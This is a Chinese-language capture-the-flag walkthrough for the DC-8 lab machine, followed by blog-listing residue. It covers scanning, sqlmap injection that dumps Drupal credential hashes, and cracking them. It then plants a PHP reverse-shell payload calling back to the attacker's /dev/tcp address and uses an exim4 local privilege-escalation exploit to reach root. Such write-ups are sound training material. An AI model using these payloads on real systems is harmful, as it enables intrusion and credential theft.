DC-8靶场

目录

DC-8靶场链接:

首先进行主机发现:

sqlmap得到账号密码:

反弹shell:

exim4提权:

Flag:


DC-8靶场链接:

https://www.five86.com/downloads/DC-8.zip

下载后解压会有一个DC-8.ova文件,直接在vm虚拟机点击左上角打开-->文件--.选中这个.ova文件就能创建靶场,kali和靶机都调整至NAT模式即可开始渗透。

首先进行主机发现:

arp-scan -l

可以得知靶机ip是192.168.183.151

ARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied

Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)

192.168.183.1 00:50:56:c0:00:08 (Unknown)

192.168.183.2 00:50:56:fc:0d:25 (Unknown)

192.168.183.151 00:0c:29:09:4d:2d (Unknown)

192.168.183.254 00:50:56:fe:ac:e6 (Unknown)

192.168.183.2 00:50:56:fc:0d:25 (Unknown) (DUP: 2)

5 packets received by filter, 0 packets dropped by kernel

Ending arp-scan 1.10.0: 256 hosts

进行nmap扫描:

nmap -sV -p- 192.168.183.151

得知打开两个端口,22端口ssh远程链接,80是HTTP 协议的通信:

Nmap scan report for 192.168.183.151

Host is up (0.00060s latency).

Not shown: 65533 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)

80/tcp open http Apache httpd

MAC Address: 00:0C:29:09:4D:2D (VMware)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Dirsearch扫描:

dirsearch -u 192.168.183.151 -e * -i 200

得到报告,/user/login可以跳转至登录后台界面:

Target: http://192.168.183.151/

[20:47:57] Starting:

[20:48:16] 200 - 769B - /COPYRIGHT.txt

[20:48:17] 200 - 33KB - /CHANGELOG.txt

[20:48:24] 200 - 868B - /INSTALL.mysql.txt

[20:48:24] 200 - 1KB - /install.php?profile=default

[20:48:24] 200 - 1KB - /install.php

[20:48:24] 200 - 842B - /INSTALL.pgsql.txt

[20:48:24] 200 - 6KB - /INSTALL.txt

[20:48:26] 200 - 7KB - /LICENSE.txt

[20:48:27] 200 - 2KB - /MAINTAINERS.txt

[20:48:30] 200 - 2KB - /node

[20:48:35] 200 - 2KB - /README.txt

[20:48:35] 200 - 744B - /robots.txt

[20:48:37] 200 - 129B - /sites/all/libraries/README.txt

[20:48:37] 200 - 0B - /sites/example.sites.php

[20:48:37] 200 - 715B - /sites/all/modules/README.txt

[20:48:37] 200 - 431B - /sites/README.txt

[20:48:37] 200 - 545B - /sites/all/themes/README.txt

[20:48:42] 200 - 3KB - /UPGRADE.txt

[20:48:42] 200 - 2KB - /user

[20:48:42] 200 - 2KB - /user/login/

[20:48:42] 200 - 2KB - /user/

[20:48:43] 200 - 177B - /views/ajax/autocomplete/user/a

[20:48:44] 200 - 2KB - /web.config

[20:48:46] 200 - 42B - /xmlrpc.php

sqlmap得到账号密码:

发现?nid=1,改变数字可以切换到不同页面,这很有可能是一个基于参数的动态页面实现方式。这种实现方式通常会将参数值传递给后端服务器,后端服务器会根据参数值从数据库中查询相应的数据,并生成对应的页面返回给客户端浏览器。因此,可以推测出这个网站后端很可能与数据库相连,以实现动态页面的生成和数据交互。

在1后面加单引号报错,说明这里存在sql注入。

我们用sqlmap爆破,最终payload:

sqlmap -u "http://192.168.183.151/?nid=1" -D d7db -T users -C login,name,pass --dump

顺利注入得到后台的账号密码:

Database: d7db

Table: users

[3 entries]

+------------+---------+---------------------------------------------------------+

| login | name | pass |

+------------+---------+---------------------------------------------------------+

| 0 | <blank> | <blank> |

| 1567766626 | admin | SD2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |

| 1703078726 | john | SDqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |

+------------+---------+---------------------------------------------------------+

我们可以看到密码被加密,用vim创建文件并复制被加密的密码进去,然后用join破解:

vim /home/kali/桌面/pass.txt

john /home/kali/桌面/pass.txt

但是admin用户的破解不了,只能破解john的,得到报告:

Using default input encoding: UTF-8

Loaded 1 password hash (Drupal7, S [SHA512 512/512 AVX512BW 8x])

Cost 1 (iteration count) is 32768 for all loaded hashes

Will run 4 OpenMP threads

Proceeding with single, rules:Single

Press 'q' or Ctrl-C to abort, almost any other key for status

Almost done: Processing the remaining buffered candidate passwords, if any.

Proceeding with wordlist:/usr/share/john/password.lst

turtle (?)

1g 0:00:00:00 DONE 2/3 (2023-12-20 22:34) 1.250g/s 1400p/s 1400c/s 1400C/s swimmer..williams

Use the "--show" option to display all of the cracked passwords reliably

Session completed.

得到账号john,密码turtle,john无法ssh远程登录,但是可以登录网页。

反弹shell:

在网页里到处点击,找到了可以执行php代码的地方,可以执行Php代码的地方在,联系我们-->WEBFROM-->Form settings的地方,选择php code

在里面添加反弹shell语句并保存:

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.183.138/666 0>&1' ");?>

然后在kali打开监听:

nc -lvvp 666

回到网页编辑发送邮件,即可弹回shell

找到设置suid权限的文件:

find / -user root -perm -4000 -print 2>/dev/null

该命令的作用是在整个文件系统中搜索所有属主为root且具有setuid位的文件,并将它们的路径输出到标准输出(终端屏幕)上。具体来说,这个命令使用了find命令和一些选项,如下所示:

find:用于在文件系统中搜索文件和目录。

/:表示搜索的起始目录,这里是整个文件系统。

-user root:表示只搜索属主为root的文件。

-perm -4000:表示只搜索具有setuid位的文件。其中,4000是一个八进制数,表示setuid标志位的值为4。setuid位可以让非root用户以root权限执行该文件,因此具有一定的安全风险。

-print:表示将搜索到的文件路径输出到标准输出上。

2>/dev/null:表示将错误输出重定向到空设备上。因为/root目录可能不可访问,所以在搜索时可能会出现一些错误信息,通过这个选项可以避免这些错误信息干扰结果。

shell返回如下数据:

/usr/bin/gpasswd

/usr/bin/chsh

/usr/bin/passwd

/usr/bin/sudo

/usr/bin/newgrp

/usr/sbin/exim4

/usr/lib/openssh/ssh-keysign

/usr/lib/eject/dmcrypt-get-device

/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/bin/ping

/bin/su

/bin/umount

/bin/mount

又来了,熟悉的exim4。

exim4提权:

先查看exim4版本

exim4 --version

和上一个靶场一样,这里可以使用searchsploit,其参数有:

复制代码
   -c, --case     [Term]      区分大小写(默认不区分大小写)
   -e, --exact    [Term]      对exploit标题进行EXACT匹配 (默认为 AND) [Implies "-t"].
   -h, --help                 显示帮助
   -j, --json     [Term]      以JSON格式显示结果
   -m, --mirror   [EDB-ID]    把一个exp拷贝到当前工作目录,参数后加目标id
   -o, --overflow [Term]      Exploit标题被允许溢出其列
   -p, --path     [EDB-ID]    显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号
   -t, --title    [Term]      仅仅搜索漏洞标题(默认是标题和文件的路径)
   -u, --update               检查并安装任何exploitdb软件包更新(deb或git)
   -w, --www      [Term]      显示Exploit-DB.com的URL而不是本地路径(在线搜索)
   -x, --examine  [EDB-ID]    使用$ PAGER检查(副本)Exp
       --colour               搜索结果不高亮显示关键词
       --id                   显示EDB-ID
       --nmap     [file.xml]  使用服务版本检查Nmap XML输出中的所有结果(例如:nmap -sV -oX file.xml)
                                使用“-v”(详细)来尝试更多的组合
       --exclude="term"       从结果中删除值。通过使用“|”分隔多个值
                              例如--exclude=“term1 | term2 | term3”。

使用payload:

searchsploit exim 4

出来的结果很多,我们使用46996.sh

"Local Privilege E"表示本地特权升级漏洞;"Remote Command Ex"表示远程命令执行漏洞;"Denial of Service"表示拒绝服务漏洞等等

先打开kali的Apache服务:

systemctl start apache2.service

把脚本复制到其html下

cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html

John用户那边用 wget命令下载这个脚本

wget http://192.168.183.138/46996.sh

ls -l查看脚本权限,发现没有执行权限,我们需要给脚本加执行权限

chmod +x 46996.sh

执行脚本:
./46996.sh -m netcat

Flag:

和之前一样,在/root目录下找到flag.txt

相关推荐
nomi-糯米几秒前
Fisco Bcos 2.11.0配置console控制台2.10.0及部署调用智能合约
分布式·网络安全·区块链·智能合约·分布式账本
无敌的俊哥2 小时前
dedecms——四种webshell姿势
web安全
亿林科技网络安全4 小时前
阿里云盘照片事件!网络安全警钟长鸣
网络·安全·web安全
iSee8575 小时前
ChatGPT个人专用版 pictureproxy.php SSRF漏洞
web安全
HinsCoder5 小时前
【渗透测试】——Upload靶场实战(1-5关)
笔记·学习·安全·web安全·渗透测试·测试·upload靶场
Hqst_Kevin6 小时前
Hqst 品牌 H81801D 千兆 DIP 网络变压器在光猫收发器机顶盒中的应用
运维·服务器·网络·5g·网络安全·信息与通信·信号处理
网安康sir6 小时前
2024年三个月自学手册 网络安全(黑客技术)
网络·安全·web安全
Nigoridl6 小时前
MSF的使用学习
网络·web安全
不会代码的小徐7 小时前
Django SQL注入-漏洞分析
安全·网络安全